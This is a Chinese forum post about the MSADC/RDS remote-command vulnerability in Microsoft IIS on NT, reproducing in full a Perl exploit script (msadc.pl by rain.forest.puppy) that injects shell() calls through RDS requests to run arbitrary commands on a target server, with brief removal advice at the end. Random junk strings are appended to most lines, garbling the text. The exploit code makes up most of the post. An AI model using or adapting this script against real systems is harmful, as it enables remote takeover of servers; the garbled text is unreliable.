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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ebl)6C  
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涉及程序: aHVdClD2o  
Microsoft NT server O9Jx%tolF%  
i+qLc6|S=2  
描述: o[Wagg.%  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 3_R   
D-2v>l_  
详细: D:RBq\8  
如果你没有时间读详细内容的话,就删除: ,&zjOc_v  
c:\Program Files\Common Files\System\Msadc\msadcs.dll D=q;+,Pc  
有关的安全问题就没有了。 o\=i0HR9  
#*7/05)  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 a@V/sh  
9wDBC~.  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 XeIUdg4>R  
关于利用ODBC远程漏洞的描述,请参看: I!soV0V U]  
fa*H cz  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ma*dIwEp  
*]E7}bqb  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 a|6x!p2X  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ftI+#0?[!  
YKX>@)Dxv  
这里不再论述。 ;ow~vO,x  
3A}nNHpN  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ;([tf;  
Kt!IyIa;Ht  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset GJ^]ER-K  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! A 4W  
tci%=3,)  
,GXfy9x7U  
#将下面这段保存为txt文件,然后: "perl -x 文件名" jhEg#Q$  
ah!O&ECh  
#!perl Rm\ '];  
# k1$2a8 ja  
# MSADC/RDS 'usage' (aka exploit) script :z0>H5  
# BHJ'[{U*w  
# by rain.forest.puppy ;~gd<KK  
# @BHS5^|  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ,b.4uJg'  
# beta test and find errors! a+>W  
_AFt6\  
use Socket; use Getopt::Std; Jr>S/]"  
getopts("e:vd:h:XR", \%args); =`\,2Nb  
 \#+2;L  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Dy{`">a  
z)Q^j>%  
if (!defined $args{h} && !defined $args{R}) { ~ Dp:j*H  
print qq~ ?#EXG  
Usage: msadc.pl -h <host> { -d <delay> -X -v } L..X)-D2 n  
-h <host> = host you want to scan (ip or domain) HT,kx  
-d <seconds> = delay between calls, default 1 second `2mbF ^-4  
-X = dump Index Server path table, if available #!d^3iB2  
-v = verbose < 8 Y<w|Hh  
-e = external dictionary file for step 5 =Z>V}`n  
k@";i4}A  
Or a -R will resume a command session 2eR+dT  
yDkDtO`K  
~; exit;} ^B!?;\4IM  
>5@vY?QXO  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 6[2?m*BsN  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} GWqY$YT  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} (jE:Q2"  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); eeJt4DV8v  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} b;{"lJ:+Z  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;7n*PBUJJ  
j]l}K*8(  
if (!defined $args{R}){ $ret = &has_msadc; -J7,Nw  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} +l?ro[#6&.  
pOI`,i}.  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" >eTgP._  
. "cmd /c "; y" 6~9j  
$in=<STDIN>; chomp $in; .f<VmUca  
$command="cmd /c " . $in ; A{Htpm~  
r=H\4%P4  
if (defined $args{R}) {&load; exit;} qddT9U|8~  
?M-8Fp3 +  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 8(/f!~  
&try_btcustmr; y3[)zv  
W]}V<S$  
print "\nStep 2: Trying to make our own DSN..."; jKV?!~/F  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; `L*;58MA  
U4L=3T+:[  
print "\nStep 3: Trying known DSNs..."; {i}Q}OgYq  
&known_dsn; Ww tQ>'R"  
YB3=ij!K  
print "\nStep 4: Trying known .mdbs...";  wY_-  
&known_mdb; 2-c0/?_4  
JR<-'  
if (defined $args{e}){ Hh;6B!zb+  
print "\nStep 5: Trying dictionary of DSN names..."; HWfX>Vf>}k  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Eg29|)qsz  
@OY-(cW  
print "Sorry Charley...maybe next time?\n"; })SdaZ  
exit; qq_,"~  
yj+b/9My   
############################################################################## 7c]Ai  
:@Dos'0Px  
sub sendraw { # ripped and modded from whisker 3 DHA^9<q  
sleep($delay); # it's a DoS on the server! At least on mine... 4"(zi5`e  
my ($pstr)=@_; htrj3$q(4  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9x{prCr  
die("Socket problems\n"); `srZ#F5  
if(connect(S,pack "SnA4x8",2,80,$target)){ Od]xIk+E  
select(S); $|=1; Tn-]0hWkP  
print $pstr; my @in=<S>; \\Tp40m+  
select(STDOUT); close(S); 9:w,@Phe  
return @in; l'%R^  
} else { die("Can't connect...\n"); }} xi. KD  
AHD%6 \$  
############################################################################## kD7(}N8YR  
YY~=h5$  
sub make_header { # make the HTTP request }z-  
my $msadc=<<EOT M #&L@fg!  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 *Y0,d`  
User-Agent: ACTIVEDATA u`@FA?+E1  
Host: $ip RAbq_^Q  
Content-Length: $clen m e{SVG{  
Connection: Keep-Alive !QS<;)N@  
ymX,k|lh  
ADCClientVersion:01.06 >! .9g  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 u*N8s[s'  
Wj=ex3K3u.  
--!ADM!ROX!YOUR!WORLD! 4yv31QG$  
Content-Type: application/x-varg NWK_(=n  
Content-Length: $reqlen -JK4-Hg  
S]=Vr%irX  
EOT j1+Y=@MA  
; $msadc=~s/\n/\r\n/g; ):ZumG#o  
return $msadc;} tgA |Vwwk  
!r0P\  
############################################################################## XO~^*[K  
as!j0j%  
sub make_req { # make the RDS request $Xc<K_Z  
my ($switch, $p1, $p2)=@_; eJp-s" %  
my $req=""; my $t1, $t2, $query, $dsn; }8#Czo jt  
ved Qwzh  
if ($switch==1){ # this is the btcustmr.mdb query lIP<`6=4  
$query="Select * from Customers where City=" . make_shell(); uwA3!5  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . L]<4{8H.  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} xR`2+t&t  
oF xVK  
elsif ($switch==2){ # this is general make table query K.m[S[cy  
$query="create table AZZ (B int, C varchar(10))"; ;g]+MLV9  
$dsn="$p1";} ]bweQw@i  
hj,x~^cS  
elsif ($switch==3){ # this is general exploit table query ]!:Y]VYN)\  
$query="select * from AZZ where C=" . make_shell(); .9Fm>e+!C  
$dsn="$p1";} B{ "<\g  
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elsif ($switch==4){ # attempt to hork file info from index server ),,vu  
$query="select path from scope()"; [F EQ@  
$dsn="Provider=MSIDXS;";} j3&*wU_  
B4aZ3.&W  
elsif ($switch==5){ # bad query 'VEpVo/  
$query="select"; -m/4\D  
$dsn="$p1";} ;xwQzu%M>5  
GK&Dd"v  
$t1= make_unicode($query); CV"Y40  
$t2= make_unicode($dsn); --kK<9J7  
$req = "\x02\x00\x03\x00"; 063;D+  
$req.= "\x08\x00" . pack ("S1", length($t1)); I#U44+c  
$req.= "\x00\x00" . $t1 ; .vMi <U;  
$req.= "\x08\x00" . pack ("S1", length($t2)); e IA=?k.y  
$req.= "\x00\x00" . $t2 ; 9#!tzDOtD  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Z]BR Mx  
return $req;} e_TDO   
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############################################################################## H #_Z6J  
2-84  
sub make_shell { # this makes the shell() statement 7i.aZ2a%  
return "'|shell(\"$command\")|'";} 5Y^ YKV{  
qa6~N3*  
############################################################################## za7wNe(s  
fZ$2bI=  
sub make_unicode { # quick little function to convert to unicode J?'!8,RX  
my ($in)=@_; my $out; GWKefH  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } NO ^(D+9  
return $out;} G>x0}c  
v*3:8Y,  
############################################################################## e-mlvi^-  
whCv9)x  
sub rdo_success { # checks for RDO return success (this is kludge) x5ia<V>=d  
my (@in) = @_; my $base=content_start(@in); m='OnTeOE  
if($in[$base]=~/multipart\/mixed/){ M_K&x-H0  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 7[L C*nrr  
return 0;} zlE kP @)  
h 8s*FI  
############################################################################## f$|v  
)Pq.kn{Sp  
sub make_dsn { # this makes a DSN for us AI2CfH#:C  
my @drives=("c","d","e","f"); |4vk@0L  
print "\nMaking DSN: "; _qV_(TpS+  
foreach $drive (@drives) { #Z :r  
print "$drive: "; yrw!b\  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 3$Je,|bs  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 2 O%UT?R  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); J$0*K+m  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; A@UnrbX:  
return 0 if $2 eq "404"; # not found/doesn't exist @ 55Y2  
if($2 eq "200") { 1Q<a+ l  
foreach $line (@results) { bGZy0.  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}  BeQJ/`  
} return 0;} Y%3j >_\;  
Go4l#6  
############################################################################## m`Z4#_s2  
xQQ6D  
sub verify_exists { R##O9BSI8Z  
my ($page)=@_; ^IpS 3y  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ;\h'A(  
return $results[0];} pS0T>r  
eX\t]{\oC  
############################################################################## @ o]F~x  
_wIAr  
sub try_btcustmr { 3XIxuQwf  
my @drives=("c","d","e","f"); /=%4gWtr  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ||qW'kNWM  
}U9e#>e x  
foreach $dir (@dirs) { [30e>bSf`  
print "$dir -> "; # fun status so you can see progress 7r>^_aW  
foreach $drive (@drives) { 0/c4%+ Ln  
print "$drive: "; # ditto F XbNmBXF  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; |$Td-M^)  
$reqlenlen=length( "$reqlen" ); >Q YxX<W  
$clen= 206 + $reqlenlen + $reqlen; 6`'^$wKs  
X:YxsZQ 5Y  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); @uc%]V<:k  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} `+U-oqs  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} TWy1)30x  
jsuQ R  
############################################################################## qFay]V(O|  
# aC}\  
sub odbc_error { Q,>AT$|  
my (@in)=@_; my $base; sviGS&J9h  
my $base = content_start(@in); 7JbN WN  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 17-K~ybc  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; xMe[/7)4  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 56fcifXz@  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )pg?ZM9  
return $in[$base+4].$in[$base+5].$in[$base+6];} {9(N?\S1`a  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; "F=O   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . [K^RC;}nV^  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} rKO[;]_*  
!aLL|}S  
############################################################################## DwoO([&I  
C@xh$(y  
sub verbose { 905 /4z'  
my ($in)=@_; o_?YYw-:  
return if !$verbose; (i {  
print STDOUT "\n$in\n";} 3iDRt&y=.  
%0L 9)-R  
############################################################################## l/SbJrM*  
}z}oVc  
sub save { (%tKGeb  
my ($p1, $p2, $p3, $p4)=@_; $cc]pJy"}  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; u\50,N9Wp{  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; l2xM.vR  
close OUT;} -|g~--@Q  
n<?:!f`   
############################################################################## g^=p)h3  
iJU]|t  
sub load { moh7:g  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7Y:1ji0l  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); /mmC qP  
@p=<IN>; close(IN); ~qs 97'  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); '(;`t1V8k  
$target= inet_aton($ip) || die("inet_aton problems"); M*|x,K=U  
print "Resuming to $ip ..."; G >bQlZG  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ;8H m#p7,  
if($p[1]==1) { fs\l*nBig  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 0:Xvch0  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; \It8+^d@  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); o@vo,JU  
if (rdo_success(@results)){print "Success!\n";} +g%kr~w=  
else { print "failed\n"; verbose(odbc_error(@results));}} ml\A)8O]j/  
elsif ($p[1]==3){ K%O%#Kk  
if(run_query("$p[3]")){ ^As^hY^p  
print "Success!\n";} else { print "failed\n"; }} kU0e;r1N  
elsif ($p[1]==4){ >k5nU^|B1  
if(run_query($drvst . "$p[3]")){ YRqIC -_  
print "Success!\n"; } else { print "failed\n"; }} ]:d`=V\&N  
exit;} DR;rK[f  
ng"R[/)In  
############################################################################## abp]qvCV  
/{6PwlP5  
sub create_table { Z+x,Awq  
my ($in)=@_; IOtSAf  
$reqlen=length( make_req(2,$in,"") ) - 28; z1K@AaRx  
$reqlenlen=length( "$reqlen" ); P;C3{>G9  
$clen= 206 + $reqlenlen + $reqlen; u,I_p[`E  
my @results=sendraw(make_header() . make_req(2,$in,"")); W{<_gD9  
return 1 if rdo_success(@results); qS:hv&~  
my $temp= odbc_error(@results); verbose($temp); 1^jGSB.%A  
return 1 if $temp=~/Table 'AZZ' already exists/; q#$Al  
return 0;} },lHa!<^  
cxn3e,d`  
############################################################################## PRg^E4  
kr[p4X4  
sub known_dsn { Iy% fg',%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 0Z $=2c?xT  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", <b !nI N  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", -^yb[b,  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); F%M4i`Vh  
aNs~Uad1U  
foreach $dSn (@dsns) { ji9 (!G  
print "."; Q8OA{EUtq  
next if (!is_access("DSN=$dSn")); PT4Wox9U  
if(create_table("DSN=$dSn")){ d^p af  
print "$dSn successful\n"; {xJq F4  
if(run_query("DSN=$dSn")){ w/ &)mm{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { B)>r~v]  
print "Something's borked. Use verbose next time\n";}}} print "\n";} (xxNQ] l-(  
mCah{~  
############################################################################## 'Km ~3t  
bS7rG$n [  
sub is_access { $De14  
my ($in)=@_; }81eef4$S  
$reqlen=length( make_req(5,$in,"") ) - 28; 4j+FDc`  
$reqlenlen=length( "$reqlen" ); $v5)d J  
$clen= 206 + $reqlenlen + $reqlen; 5yBaxw`  
my @results=sendraw(make_header() . make_req(5,$in,"")); X)6}<A  
my $temp= odbc_error(@results); b/;!yOF  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); nwSujD  
return 0;} qTxw5.Ai!  
TNun)0p  
############################################################################## ]$Ud`<Xnx  
vfBIQfH  
sub run_query { GY% ^!r  
my ($in)=@_; f 0"N  
$reqlen=length( make_req(3,$in,"") ) - 28; kHMD5Q  
$reqlenlen=length( "$reqlen" ); CVxqNR*DN  
$clen= 206 + $reqlenlen + $reqlen; X~+AaI :~K  
my @results=sendraw(make_header() . make_req(3,$in,"")); bzj9U>eY  
return 1 if rdo_success(@results); 8d4:8}  
my $temp= odbc_error(@results); verbose($temp); 'DLgOUvh  
return 0;} ;zq3>A  
`eZ +Pf".  
############################################################################## JdYmUM|K/c  
m 0jm$> :Z  
sub known_mdb { ,EsPm'`?A/  
my @drives=("c","d","e","f","g"); '2LK(uaU  
my @dirs=("winnt","winnt35","winnt351","win","windows"); HgVPyo  
my $dir, $drive, $mdb; `3wzOMgJ  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; (g(.gN]  
sWtT"7>x  
# this is sparse, because I don't know of many s<#["K*_  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Uw`YlUT\  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", AhozrroV  
"\\system32\\certmdb.mdb", BIJlU(aF  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% y"bSn5B[  
8,VX%CS#q  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", A5WchS'  
"\\cfusion\\cfapps\\forums\\forums_.mdb", TK! D=M  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", E8gbm&x*  
"\\cfusion\\cfapps\\security\\realm_.mdb", .@5Ro D[o  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Ire+r "am  
"\\cfusion\\database\\cfexamples.mdb", E`A6GX  
"\\cfusion\\database\\cfsnippets.mdb", r:.ydr@  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", mQ$a^28=qR  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", $4Vpl  
"\\cfusion\\brighttiger\\database\\cleam.mdb", r0Cc0TMdj  
"\\cfusion\\database\\smpolicy.mdb", j:Y1  
"\\cfusion\\database\cypress.mdb", 9e aqq  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", G d%X> ~  
"\\website\\cgi-win\\dbsample.mdb", $T#yxx  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", F ]qX}  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" jIvSjlmI  
); #these are just e6 &-f  
foreach $drive (@drives) { -O~ V4004  
foreach $dir (@dirs){ =cP7"\  
foreach $mdb (@sysmdbs) { 3oo Tn-`{  
print "."; Y-ZTv(<  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ P&g.%8b~84  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 6he (v  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ QIb4ghm,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; NA/hs/ '  
} else { print "Something's borked. Use verbose next time\n"; }}}}} I\y=uC  
d*cAm$  
foreach $drive (@drives) { /c4@QbB  
foreach $mdb (@mdbs) { qX_( M2oLU  
print "."; >Nho`m(  
if(create_table($drv . $drive . $dir . $mdb)){ [t{ed)J  
print "\n" . $drive . $dir . $mdb . " successful\n"; GEd JB=  
if(run_query($drv . $drive . $dir . $mdb)){ {=Y3[  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; lFZ}.  
} else { print "Something's borked. Use verbose next time\n"; }}}} )=9EShz!  
} 5 0KB:1(g  
Z\ 1wEGP7{  
############################################################################## _Pe,84Ro  
i0jR~vF {B  
sub hork_idx { %uUQBZ4  
print "\nAttempting to dump Index Server tables...\n"; Fx]}<IudA^  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; q33Z.3R  
$reqlen=length( make_req(4,"","") ) - 28; tUrwg  
$reqlenlen=length( "$reqlen" ); cy%S5Rz  
$clen= 206 + $reqlenlen + $reqlen; I5$]{:L|9  
my @results=sendraw2(make_header() . make_req(4,"","")); 2cu?2_,  
if (rdo_success(@results)){ =)O%5<Lwx  
my $max=@results; my $c; my %d; Jmcf9g  
for($c=19; $c<$max; $c++){ ^ALR.N+<  
$results[$c]=~s/\x00//g; HuRq0/"  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; x[m&ILr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ]hC6PKJU  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; {zmh0c; |  
$d{"$1$2"}="";} o 00(\ -eb  
foreach $c (keys %d){ print "$c\n"; } e^ ZxU/e  
} else {print "Index server doesn't seem to be installed.\n"; }} 3mCf>qj73  
W6 y-~  
############################################################################## &?wNL@n  
R>#BJ^>=  
sub dsn_dict { BJ$\Mb##3@  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); fa:V8xa  
while(<IN>){ 8 mFy9{M  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 9`8D Ga  
next if (!is_access("DSN=$dSn")); M7x*LiKc2  
if(create_table("DSN=$dSn")){ lq[o2\  
print "$dSn successful\n"; ) Z^b)KAk  
if(run_query("DSN=$dSn")){ ZPO+ #,  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #UYrSM@u  
print "Something's borked. Use verbose next time\n";}}} -,Y[`(q  
print "\n"; close(IN);} O% }EpIP_  
>anq1Kf  
############################################################################## "IE*MmsEz  
4 >2g&);B  
sub sendraw2 { # ripped and modded from whisker a|u&N:v7B  
sleep($delay); # it's a DoS on the server! At least on mine... Dmq_jt  
my ($pstr)=@_; SAUfA5|e  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || L?:fyNA3[  
die("Socket problems\n"); FQp@/H^  
if(connect(S,pack "SnA4x8",2,80,$target)){  gK Uci  
print "Connected. Getting data"; C A 8N  
open(OUT,">raw.out"); my @in; .`; bQh'!  
select(S); $|=1; print $pstr; : l&g5  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 7LZ A!3  
close(OUT); select(STDOUT); close(S); return @in; |vVcO  
} else { die("Can't connect...\n"); }} `= FDNOwp  
>mXq= 9L4  
############################################################################## -s5>GwZt  
<JkmJ/X  
sub content_start { # this will take in the server headers G1z0q3< B  
my (@in)=@_; my $c; 079mn/8;  
for ($c=1;$c<500;$c++) { pGHn   
if($in[$c] =~/^\x0d\x0a/){ J~=tR1 k  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } AhauNS^"{R  
else { return $c+1; }}} _ giZ'&l!  
return -1;} # it should never get here actually o+F]80CH  
%!HBPLk  
############################################################################## \-eDNwJ:#@  
-Nu Rf#  
sub funky { Fmo^ ?~b  
my (@in)=@_; my $error=odbc_error(@in); }bM=)eUfX  
if($error=~/ADO could not find the specified provider/){ n+qa/<  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Sn~h[s_(  
exit;} [:xpz,  
if($error=~/A Handler is required/){ -!JnyD   
print "\nServer has custom handler filters (they most likely are patched)\n"; f;Uf=.#F  
exit;} %`b %TH^  
if($error=~/specified Handler has denied Access/){ 8*[Q{:'.  
print "\nServer has custom handler filters (they most likely are patched)\n"; Oqy&V&-C  
exit;}} GL- r;  
Uc>$w?oA  
############################################################################## ;VlA~tv  
$EUlh^  
sub has_msadc { B!iz=+RNC1  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); '$m uA\  
my $base=content_start(@results); @5Zg![G  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); o n+:{ad  
return 0;} ,R8:Y*@P  
8O='Q-& 8  
######################## G j9WUv[P  
/_g-w93   
`zmj iC  
解决方案: Q xg)Wb#  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll @Fs2J_v  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 E Qn4+  
I&lb5'6D  
拿出来充数 哈哈
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